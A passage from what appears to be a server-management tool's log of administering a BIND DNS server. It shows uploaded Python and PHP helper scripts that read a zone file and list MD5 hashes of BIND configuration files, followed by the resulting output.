        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-08-26 15:00:25: 

chmod 755 /tmp/pkp463333; /tmp/pkp463333; rm /tmp/pkp463333

2025-08-26 15:00:25: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt	394
; this is an automatically created file: manual changes will be overwritten.
$TTL    3600
cityelectric.site.       		 IN    SOA      	cityelectric.site. hostmaster.cityelectric.site. ( 131244084 14400 3600 14400 3600 )
cityelectric.site.       		 IN    NS       	ns1.hostz.org.
cityelectric.site.       		 IN    NS       	ns2.hostz.org.
@                        		 IN    A        	10.140.12.86






MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 3c9f578a7815e351234f218aeab7cca5
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= ead22db0f92a33841cc438de003f20f0
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 81f36a028010960c977294c18c368717
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 8aba258068c8c60a7ade3952a285f57d
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2025-08-26 15:00:44: Establishing a connection
2025-08-26 15:00:44: 

PUT: /tmp/pkp456339

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2025-08-26 15:00:44: 

runuser -l bind -s /bin/bash -c '/tmp/pkp456339; rm /tmp/pkp456339'

2025-08-26 15:00:44: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 3c9f578a7815e351234f218aeab7cca5
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
